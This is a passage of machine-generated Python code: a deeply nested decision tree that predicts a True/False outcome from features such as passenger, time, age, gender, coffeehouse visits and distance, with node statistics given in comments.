"instances": 28, "metric_value": 0.2434, "depth": 9} if obj[6]<=2: # {"feature": "Coffeehouse", "instances": 27, "metric_value": 0.2438, "depth": 10} if obj[9]<=2.0: # {"feature": "Distance", "instances": 24, "metric_value": 0.2125, "depth": 11} if obj[12]<=1: # {"feature": "Gender", "instances": 20, "metric_value": 0.2526, "depth": 12} if obj[3]>0: # {"feature": "Passanger", "instances": 19, "metric_value": 0.2659, "depth": 13} if obj[0]<=1: return 'False' else: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[12]>1: return 'False' else: return 'False' elif obj[9]>2.0: # {"feature": "Passanger", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[0]<=1: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[3]<=1: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=2: return 'True' else: return 'True' else: return 'True' elif obj[0]>1: return 'False' else: return 'False' else: return 'False' elif obj[6]>2: return 'True' else: return 'True' elif obj[1]>1: # {"feature": "Education", "instances": 5, "metric_value": 0.3, "depth": 9} if obj[6]>0: # {"feature": "Coffeehouse", "instances": 4, "metric_value": 0.3333, "depth": 10} if obj[9]<=1.0: # {"feature": "Passanger", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[0]<=2: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[3]<=1: # {"feature": "Distance", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[12]<=2: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[9]>1.0: return 'True' else: return 'True' elif obj[6]<=0: return 'False' else: return 'False' else: return 'True' else: return 'False' elif obj[10]>2.0: return 'True' else: return 'True' elif obj[4]>6: # {"feature": "Distance", "instances": 7, "metric_value": 0.3429, "depth": 6} if obj[12]<=2: # {"feature": "Passanger", "instances": 5, "metric_value": 0.4, "depth": 7} if obj[0]<=1: # {"feature": "Time", "instances": 4, "metric_value": 0.3333, "depth": 8} if obj[1]>0: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 9} if obj[3]<=1: # {"feature": "Education", "instances": 3, "metric_value": 0.4444, "depth": 10} if obj[6]<=5: # {"feature": "Coffeehouse", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[9]<=0.0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[10]<=0.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: return 'False' else: return 'False' elif obj[0]>1: return 'False' else: return 'False' elif obj[12]>2: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 797, "metric_value": 0.4734, "depth": 4} if obj[10]<=1.0: # {"feature": "Education", "instances": 590, "metric_value": 0.4585, "depth": 5} if obj[6]<=1: # {"feature": "Age", "instances": 296, "metric_value": 0.4757, "depth": 6} if obj[4]>2: # {"feature": "Occupation", "instances": 192, "metric_value": 0.4847, "depth": 7} if obj[7]>0: # {"feature": "Gender", "instances": 184, "metric_value": 0.4827, "depth": 8} if obj[3]<=0: # {"feature": "Coffeehouse", "instances": 125, "metric_value": 0.4625, "depth": 9} if obj[9]<=2.0: # {"feature": "Passanger", "instances": 95, "metric_value": 0.4844, "depth": 10} if obj[0]>0: # {"feature": "Distance", "instances": 86, "metric_value": 0.4949, "depth": 11} if obj[12]>1: # {"feature": "Time", "instances": 57, "metric_value": 0.4881, "depth": 12} if obj[1]<=2: # {"feature": "Direction_same", "instances": 43, "metric_value": 0.4974, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[1]>2: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.4589, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[12]<=1: # {"feature": "Time", "instances": 29, "metric_value": 0.4713, "depth": 12} if obj[1]>1: # {"feature": "Direction_same", "instances": 15, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[1]<=1: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.5, "depth": 13} if obj[11]<=1: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[0]<=0: # {"feature": "Time", "instances": 9, "metric_value": 0.2667, "depth": 11} if obj[1]<=2: # {"feature": "Distance", "instances": 5, "metric_value": 0.4667, "depth": 12} if obj[12]>1: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[12]<=1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[1]>2: return 'False' else: return 'False' else: return 'False' elif obj[9]>2.0: # {"feature": "Passanger", "instances": 30, "metric_value": 0.35, "depth": 10} if obj[0]>0: # {"feature": "Time", "instances": 28, "metric_value": 0.3673, "depth": 11} if obj[1]<=3: # {"feature": "Distance", "instances": 21, "metric_value": 0.3968, "depth": 12} if obj[12]>1: # {"feature": "Direction_same", "instances": 15, "metric_value": 0.381, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[12]<=1: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.2667, "depth": 13} if obj[11]>0: return 'False' elif obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[1]>3: # {"feature": "Distance", "instances": 7, "metric_value": 0.2286, "depth": 12} if obj[12]<=1: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[12]>1: return 'False' else: return 'False' else: return 'False' elif obj[0]<=0: return 'False' else: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Time", "instances": 59, "metric_value": 0.4309, "depth": 9} if obj[1]>0: # {"feature": "Passanger", "instances": 44, "metric_value": 0.4893, "depth": 10} if obj[0]<=1: # {"feature": "Distance", "instances": 36, "metric_value": 0.4715, "depth": 11} if obj[12]>1: # {"feature": "Coffeehouse", "instances": 20, "metric_value": 0.4357, "depth": 12} if obj[9]<=2.0: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.3929, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[9]>2.0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.4, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'False' else: return 'False' else: return 'True' elif obj[12]<=1: # {"feature": "Coffeehouse", "instances": 16, "metric_value": 0.4643, "depth": 12} if obj[9]>1.0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[9]<=1.0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.381, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'True' else: return 'True' else: return 'False' else: return 'True' elif obj[0]>1: # {"feature": "Coffeehouse", "instances": 8, "metric_value": 0.3571, "depth": 11} if obj[9]<=2.0: # {"feature": "Distance", "instances": 7, "metric_value": 0.3714, "depth": 12} if obj[12]>1: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[12]<=1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[9]>2.0: return 'False' else: return 'False' else: return 'True' elif obj[1]<=0: # {"feature": "Distance", "instances": 15, "metric_value": 0.1897, "depth": 10} if obj[12]<=2: # {"feature": "Coffeehouse", "instances": 13, "metric_value": 0.1319, "depth": 11} if obj[9]>1.0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.2143, "depth": 12} if obj[11]<=0: # {"feature": "Passanger", "instances": 4, "metric_value": 0.25, "depth": 13} if obj[0]<=0: return 'True' elif obj[0]>0: return 'False' else: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[9]<=1.0: return 'True' else: return 'True' elif obj[12]>2: # {"feature": "Coffeehouse", "instances": 2, "metric_value": 0.0, "depth": 11} if obj[9]>2.0: return 'False' elif obj[9]<=2.0: return 'True' else: return 'True' else: return 'False' else: return 'True' else: return 'True' elif obj[7]<=0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.0, "depth": 8} if obj[11]<=0: return 'True' elif obj[11]>0: return 'False' else: return 'False' else: return 'True' elif obj[4]<=2: # {"feature": "Passanger", "instances": 104, "metric_value": 0.36, "depth": 7} if obj[0]>0: # {"feature": "Distance", "instances": 80, "metric_value": 0.3195, "depth": 8} if obj[12]>1: # {"feature": "Time", "instances": 50, "metric_value": 0.3572, "depth": 9} if obj[1]<=1: # {"feature": "Gender", "instances": 31, "metric_value": 0.233, "depth": 10} if obj[3]>0: # {"feature": "Occupation", "instances": 18, "metric_value": 0.3639, "depth": 11} if obj[7]<=6: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.4, "depth": 12} if obj[11]<=0: # {"feature": "Coffeehouse", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[9]<=1.0: return 'False' else: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[7]>6: # {"feature": "Coffeehouse", "instances": 8, "metric_value": 0.125, "depth": 12} if obj[9]<=1.0: return 'False' elif obj[9]>1.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[1]>1: # {"feature": "Occupation", "instances": 19, "metric_value": 0.3947, "depth": 10} if obj[7]>1: # {"feature": "Gender", "instances": 16, "metric_value": 0.4409, "depth": 11} if obj[3]>0: # {"feature": "Coffeehouse", "instances": 11, "metric_value": 0.4364, "depth": 12} if obj[9]>0.0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[9]<=0.0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Coffeehouse", "instances": 5, "metric_value": 0.2667, "depth": 12} if obj[9]>0.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[9]<=0.0: return 'False' else: return 'False' else: return 'False' elif obj[7]<=1: return 'True' else: return 'True' else: return 'False' elif obj[12]<=1: # {"feature": "Occupation", "instances": 30, "metric_value": 0.17, "depth": 9} if obj[7]>1: # {"feature": "Time", "instances": 20, "metric_value": 0.09, "depth": 10} if obj[1]>0: return 'False' elif obj[1]<=0: # {"feature": "Gender", "instances": 10, "metric_value": 0.175, "depth": 11} if obj[3]>0: # {"feature": "Coffeehouse", "instances": 8, "metric_value": 0.2188, "depth": 12} if obj[9]<=1.0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.2188, "depth": 13} if obj[11]<=1: return 'False' else: return 'False' else: return 'False' elif obj[3]<=0: return 'False' else: return 'False' else: return 'False' elif obj[7]<=1: # {"feature": "Coffeehouse", "instances": 10, "metric_value": 0.2857, "depth": 10} if obj[9]>0.0: # {"feature": "Time", "instances": 7, "metric_value": 0.3714, "depth": 11} if obj[1]>0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.3, "depth": 12} if obj[11]<=0: # {"feature": "Gender", "instances": 4, "metric_value": 0.375, "depth": 13} if obj[3]<=0: return 'False' else: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=1: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[9]<=0.0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[0]<=0: # {"feature": "Occupation", "instances": 24, "metric_value": 0.3175, "depth": 8} if obj[7]>1: # {"feature": "Coffeehouse", "instances": 21, "metric_value": 0.3439, "depth": 9} if obj[9]>-1.0: # {"feature": "Distance", "instances": 18, "metric_value": 0.3861, "depth": 10} if obj[12]>1: # {"feature": "Time", "instances": 10, "metric_value": 0.2857, "depth": 11} if obj[1]<=3: # {"feature": "Gender", "instances": 7, "metric_value": 0.381, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: return 'True' else: return 'True' elif obj[1]>3: return 'True' else: return 'True' elif obj[12]<=1: # {"feature": "Time", "instances": 8, "metric_value": 0.4375, "depth": 11} if obj[1]>2: # {"feature": "Gender", "instances": 4, "metric_value": 0.5, "depth": 12} if obj[3]<=1: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[1]<=2: # {"feature": "Gender", "instances": 4, "metric_value": 0.25, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]>0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[9]<=-1.0: return 'True' else: return 'True' elif obj[7]<=1: return 'False' else: return 'False' else: return 'True' else: return 'False' elif obj[6]>1: # {"feature": "Gender", "instances": 294, "metric_value": 0.4196, "depth": 6} if obj[3]>0: # {"feature": "Distance", "instances": 149, "metric_value": 0.3531, "depth": 7} if obj[12]<=2: # {"feature": "Occupation", "instances": 121, "metric_value": 0.3842, "depth": 8} if obj[7]>1: # {"feature": "Time", "instances": 92, "metric_value": 0.4354, "depth": 9} if obj[1]>0: # {"feature": "Age", "instances": 63, "metric_value": 0.3917, "depth": 10} if obj[4]<=6: # {"feature": "Coffeehouse", "instances": 62, "metric_value": 0.3867, "depth": 11} if obj[9]<=1.0: # {"feature": "Passanger", "instances": 34, "metric_value": 0.32, "depth": 12} if obj[0]>0: # {"feature": "Direction_same", "instances": 28, "metric_value": 0.2911, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[0]<=0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[9]>1.0: # {"feature": "Direction_same", "instances": 28, "metric_value": 0.4497, "depth": 12} if obj[11]<=0: # {"feature": "Passanger", "instances": 27, "metric_value": 0.463, "depth": 13} if obj[0]>0: return 'False' elif obj[0]<=0: return 'False' else: return 'False' elif obj[11]>0: return 'False' else: return 'False' else: return 'False' elif obj[4]>6: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Age", "instances": 29, "metric_value": 0.4496, "depth": 10} if obj[4]<=5: # {"feature": "Direction_same", "instances": 27, "metric_value": 0.4392, "depth": 11} if obj[11]<=0: # {"feature": "Coffeehouse", "instances": 17, "metric_value": 0.3832, "depth": 12} if obj[9]>1.0: # {"feature": "Passanger", "instances": 10, "metric_value": 0.4762, "depth": 13} if obj[0]<=0: return 'False' elif obj[0]>0: return 'False' else: return 'False' elif obj[9]<=1.0: # {"feature": "Passanger", "instances": 7, "metric_value": 0.2381, "depth": 13} if obj[0]>0: return 'False' elif obj[0]<=0: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Coffeehouse", "instances": 10, "metric_value": 0.4, "depth": 12} if obj[9]>1.0: # {"feature": "Passanger", "instances": 8, "metric_value": 0.5, "depth": 13} if obj[0]<=1: return 'False' else: return 'False' elif obj[9]<=1.0: return 'True' else: return 'True' else: return 'True' elif obj[4]>5: return 'True' else: return 'True' else: return 'False' elif obj[7]<=1: # {"feature": "Age", "instances": 29, "metric_value": 0.1352, "depth": 9} if obj[4]<=6: # {"feature": "Passanger", "instances": 25, "metric_value": 0.06, "depth": 10} if obj[0]>0: return 'False' elif obj[0]<=0: # {"feature": "Time", "instances": 4, "metric_value": 0.25, "depth": 11} if obj[1]>0: # {"feature": "Coffeehouse", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[9]<=0.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: return 'False' else: return 'False' else: return 'False' elif obj[4]>6: # {"feature": "Passanger", "instances": 4, "metric_value": 0.0, "depth": 10} if obj[0]>1: return 'True' elif obj[0]<=1: return 'False' else: return 'False' else: return 'True' else: return 'False' elif obj[12]>2: # {"feature": "Coffeehouse", "instances": 28, "metric_value": 0.1209, "depth": 8} if obj[9]<=1.0: return 'False' elif obj[9]>1.0: # {"feature": "Time", "instances": 13, "metric_value": 0.2168, "depth": 9} if obj[1]>0: # {"feature": "Age", "instances": 11, "metric_value": 0.1212, "depth": 10} if obj[4]<=2: return 'False' elif obj[4]>2: # {"feature": "Occupation", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[7]>1: # {"feature": "Passanger", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[0]<=1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[7]<=1: return 'False' else: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Age", "instances": 2, "metric_value": 0.0, "depth": 10} if obj[4]<=0: return 'True' elif obj[4]>0: return 'False' else: return 'False' else: return 'True' else: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Coffeehouse", "instances": 145, "metric_value": 0.457, "depth": 7} if obj[9]<=1.0: # {"feature": "Occupation", "instances": 106, "metric_value": 0.4315, "depth": 8} if obj[7]<=8: # {"feature": "Age", "instances": 61, "metric_value": 0.4659, "depth": 9} if obj[4]>0: # {"feature": "Distance", "instances": 48, "metric_value": 0.4238, "depth": 10} if obj[12]>1: # {"feature": "Time", "instances": 31, "metric_value": 0.3752, "depth": 11} if obj[1]<=2: # {"feature": "Direction_same", "instances": 24, "metric_value": 0.3977, "depth": 12} if obj[11]<=0: # {"feature": "Passanger", "instances": 22, "metric_value": 0.4273, "depth": 13} if obj[0]>0: return 'False' elif obj[0]<=0: return 'True' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[1]>2: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.1429, "depth": 12} if obj[11]<=0: return 'False' elif obj[11]>0: # {"feature": "Passanger", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[0]<=1: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[12]<=1: # {"feature": "Time", "instances": 17, "metric_value": 0.4941, "depth": 11} if obj[1]>0: # {"feature": "Passanger", "instances": 12, "metric_value": 0.4857, "depth": 12} if obj[0]<=0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.4898, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[0]>0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Passanger", "instances": 5, "metric_value": 0.48, "depth": 12} if obj[0]<=1: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=1: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[4]<=0: # {"feature": "Time", "instances": 13, "metric_value": 0.3538, "depth": 10} if obj[1]<=2: # {"feature": "Passanger", "instances": 8, "metric_value": 0.2143, "depth": 11} if obj[0]>0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.1905, "depth": 12} if obj[11]<=0: return 'True' elif obj[11]>0: # {"feature": "Distance", "instances": 3, "metric_value": 0.3333, "depth": 13} if obj[12]<=1: return 'False' elif obj[12]>1: return 'True' else: return 'True' else: return 'True' elif obj[0]<=0: return 'False' else: return 'False' elif obj[1]>2: # {"feature": "Passanger", "instances": 5, "metric_value": 0.2667, "depth": 11} if obj[0]<=1: # {"feature": "Distance", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[12]>1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[12]<=1: return 'False' else: return 'False' elif obj[0]>1: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[7]>8: # {"feature": "Passanger", "instances": 45, "metric_value": 0.3145, "depth": 9} if obj[0]<=1: # {"feature": "Age", "instances": 39, "metric_value": 0.2815, "depth": 10} if obj[4]>1: # {"feature": "Time", "instances": 25, "metric_value": 0.3575, "depth": 11} if obj[1]<=1: # {"feature": "Distance", "instances": 18, "metric_value": 0.3897, "depth": 12} if obj[12]<=2: # {"feature": "Direction_same", "instances": 13, "metric_value": 0.3538, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[12]>2: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[1]>1: # {"feature": "Distance", "instances": 7, "metric_value": 0.2381, "depth": 12} if obj[12]<=1: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.2778, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[12]>1: return 'False' else: return 'False' else: return 'False' elif obj[4]<=1: # {"feature": "Time", "instances": 14, "metric_value": 0.1071, "depth": 11} if obj[1]<=2: return 'False' elif obj[1]>2: # {"feature": "Distance", "instances": 4, "metric_value": 0.3333, "depth": 12} if obj[12]<=1: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[12]>1: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[0]>1: # {"feature": "Age", "instances": 6, "metric_value": 0.2222, "depth": 10} if obj[4]<=2: return 'True' elif obj[4]>2: # {"feature": "Time", "instances": 3, "metric_value": 0.0, "depth": 11} if obj[1]<=3: return 'False' elif obj[1]>3: return 'True' else: return 'True' else: return 'False' else: return 'True' else: return 'False' elif obj[9]>1.0: # {"feature": "Age", "instances": 39, "metric_value": 0.4487, "depth": 8} if obj[4]>0: # {"feature": "Occupation", "instances": 36, "metric_value": 0.4609, "depth": 9} if obj[7]>1: # {"feature": "Distance", "instances": 27, "metric_value": 0.4431, "depth": 10} if obj[12]>1: # {"feature": "Direction_same", "instances": 17, "metric_value": 0.4044, "depth": 11} if obj[11]<=0: # {"feature": "Passanger", "instances": 16, "metric_value": 0.4167, "depth": 12} if obj[0]>0: # {"feature": "Time", "instances": 15, "metric_value": 0.4286, "depth": 13} if obj[1]<=3: return 'True' elif obj[1]>3: return 'True' else: return 'True' elif obj[0]<=0: return 'True' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[12]<=1: # {"feature": "Passanger", "instances": 10, "metric_value": 0.3111, "depth": 11} if obj[0]<=1: # {"feature": "Time", "instances": 9, "metric_value": 0.3333, "depth": 12} if obj[1]>0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.2667, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=1: return 'False' else: return 'False' else: return 'False' elif obj[0]>1: return 'True' else: return 'True' else: return 'False' elif obj[7]<=1: # {"feature": "Time", "instances": 9, "metric_value": 0.2963, "depth": 10} if obj[1]>0: # {"feature": "Distance", "instances": 6, "metric_value": 0.4, "depth": 11} if obj[12]>1: # {"feature": "Passanger", "instances": 5, "metric_value": 0.4667, "depth": 12} if obj[0]<=1: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[0]>1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[12]<=1: return 'True' else: return 'True' elif obj[1]<=0: return 'True' else: return 'True' else: return 'True' elif obj[4]<=0: return 'False' else: return 'False' else: return 'True' else: return 'False' else: return 'False' elif obj[10]>1.0: # {"feature": "Age", "instances": 207, "metric_value": 0.49, "depth": 5} if obj[4]<=2: # {"feature": "Coffeehouse", "instances": 107, "metric_value": 0.4728, "depth": 6} if obj[9]<=3.0: # {"feature": "Occupation", "instances": 98, "metric_value": 0.4645, "depth": 7} if obj[7]<=6: # {"feature": "Time", "instances": 56, "metric_value": 0.4362, "depth": 8} if obj[1]<=3: # {"feature": "Passanger", "instances": 50, "metric_value": 0.4174, "depth": 9} if obj[0]>0: # {"feature": "Distance", "instances": 46, "metric_value": 0.4451, "depth": 10} if obj[12]>1: # {"feature": "Direction_same", "instances": 30, "metric_value": 0.4, "depth": 11} if obj[11]<=0: # {"feature": "Education", "instances": 27, "metric_value": 0.44, "depth": 12} if obj[6]>0: # {"feature": "Gender", "instances": 25, "metric_value": 0.435, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' elif obj[6]<=0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[3]<=1: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[12]<=1: # {"feature": "Education", "instances": 16, "metric_value": 0.4409, "depth": 11} if obj[6]>1: # {"feature": "Gender", "instances": 11, "metric_value": 0.4481, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.4857, "depth": 13} if obj[11]>0: return 'False' elif obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.3333, "depth": 13} if obj[11]>0: return 'True' elif obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[6]<=1: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.2667, "depth": 12} if obj[11]<=0: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[3]<=1: return 'False' else: return 'False' elif obj[11]>0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[0]<=0: return 'False' else: return 'False' elif obj[1]>3: # {"feature": "Passanger", "instances": 6, "metric_value": 0.2667, "depth": 9} if obj[0]<=1: # {"feature": "Distance", "instances": 5, "metric_value": 0.0, "depth": 10} if obj[12]<=1: return 'True' elif obj[12]>1: return 'False' else: return 'False' elif obj[0]>1: return 'False' else: return 'False' else: return 'True' elif obj[7]>6: # {"feature": "Gender", "instances": 42, "metric_value": 0.4505, "depth": 8} if obj[3]>0: # {"feature": "Education", "instances": 26, "metric_value": 0.4573, "depth": 9} if obj[6]>0: # {"feature": "Direction_same", "instances": 18, "metric_value": 0.4148, "depth": 10} if obj[11]<=0: # {"feature": "Time", "instances": 15, "metric_value": 0.4405, "depth": 11} if obj[1]<=1: # {"feature": "Passanger", "instances": 8, "metric_value": 0.4286, "depth": 12} if obj[0]>0: # {"feature": "Distance", "instances": 7, "metric_value": 0.4762, "depth": 13} if obj[12]<=2: return 'True' elif obj[12]>2: return 'False' else: return 'False' elif obj[0]<=0: return 'False' else: return 'False' elif obj[1]>1: # {"feature": "Distance", "instances": 7, "metric_value": 0.381, "depth": 12} if obj[12]<=1: # {"feature": "Passanger", "instances": 6, "metric_value": 0.4167, "depth": 13} if obj[0]<=0: return 'True' elif obj[0]>0: return 'False' else: return 'False' elif obj[12]>1: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[6]<=0: # {"feature": "Distance", "instances": 8, "metric_value": 0.2143, "depth": 10} if obj[12]<=2: # {"feature": "Time", "instances": 7, "metric_value": 0.1429, "depth": 11} if obj[1]<=3: return 'True' elif obj[1]>3: # {"feature": "Passanger", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[0]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[12]>2: return 'False' else: return 'False' else: return 'True' elif obj[3]<=0: # {"feature": "Passanger", "instances": 16, "metric_value": 0.3, "depth": 9} if obj[0]<=1: # {"feature": "Time", "instances": 15, "metric_value": 0.28, "depth": 10} if obj[1]<=2: # {"feature": "Education", "instances": 10, "metric_value": 0.1333, "depth": 11} if obj[6]>0: return 'True' elif obj[6]<=0: # {"feature": "Distance", "instances": 3, "metric_value": 0.0, "depth": 12} if obj[12]<=2: return 'True' elif obj[12]>2: return 'False' else: return 'False' else: return 'True' elif obj[1]>2: # {"feature": "Distance", "instances": 5, "metric_value": 0.2667, "depth": 11} if obj[12]<=1: # {"feature": "Education", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[6]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[6]>0: return 'False' else: return 'False' elif obj[12]>1: return 'True' else: return 'True' else: return 'True' elif obj[0]>1: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[9]>3.0: # {"feature": "Passanger", "instances": 9, "metric_value": 0.1481, "depth": 7} if obj[0]>0: return 'False' elif obj[0]<=0: # {"feature": "Time", "instances": 3, "metric_value": 0.3333, "depth": 8} if obj[1]<=2: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 9} if obj[3]<=0: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 10} if obj[6]<=3: # {"feature": "Occupation", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[7]<=20: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[11]<=0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=1: return 'False' else: return 'False' else: return 